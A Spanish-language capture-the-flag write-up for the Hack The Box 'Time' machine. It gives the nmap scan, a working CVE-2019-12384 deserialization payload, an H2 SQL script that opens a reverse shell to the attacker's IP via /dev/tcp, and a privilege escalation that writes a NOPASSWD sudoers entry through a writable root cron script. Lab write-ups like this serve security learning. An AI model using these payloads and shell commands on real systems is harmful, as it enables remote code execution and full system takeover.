Time Write up HTB

  • Pasos

1-> Escaneo de la ip con nmap
2-> Vulnerar la web
3-> Ejecucuion del CVE-2019-12384
4-> Escalar privilegios


Escaneo de la ip con nmap

  • nmap nmap -sSV –min-rate 3000 –open -n -Pn 10.10.10.214

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-09 13:48 CET
Nmap scan report for 10.10.10.214
Host is up (0.22s latency)
Not shown: 985 closed ports, 13 filtered ports
Some closed ports may be reported as filtered due to –defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Agreguemos la IP(10.10.10.214) al /etc/hosts
Ya puestos en el navegador accederemos a time.htb

Vulnerar la web

        En la web hay dos opciones:    

Beautify
Validate!beta!)

Escribimos Hello world con la opcion de Validate(!beta) seleccionada, y observamos que la web nos genera un error

Eventualmente leyendo y buscando este error en google damos con la vulnerabilidad CVE-2019-12384
En github hay varias PoC para explotar esta mala configuracion en el backend.

Ejecucuion del CVE-2019-12384

Primero nos crearemos el archivo inject.sql para posteriormente levantar un servidor con python

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('setsid bash -i &>/dev/tcp/10.10.16.149/4444 0>&1 &')

python3 -m http.server

En una terminal pondremos un netcat a la escucha.

En la web utilizaremos este payload:

["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://your_ip:8000/inject.sql'"}]

Como experiencia personal muchos payloads de github no me sirvieron.No se rompan la cabeza y utilicen el de arriba.

Vemos en el servidor de python que hubo una peticion GET

Tenemos una shell interactiva por el puerto en escucha del netcat.

Flag user.txt

Escalar privilegios

Enumerando el sistema vemos que hay una tarea que se ejecuta como root pero el usuario pericles tiene permisos de escritura sobre este archivo

/usr/bin/timer_backup.sh

echo ‘echo “pericles ALL=(ALL) NOPASSWD:ALL” » /etc/sudoers’ >/usr/bin/timer_backup.sh

Esto nos permite agregar al usuario pericles al /etc/sudoers para que ejecute tareas de root sin proporcionar la contrasena.
Luego hacemos un sudo su

Flag root.txt: cat /root/root.txt

  • H@ppY H@(K1NG!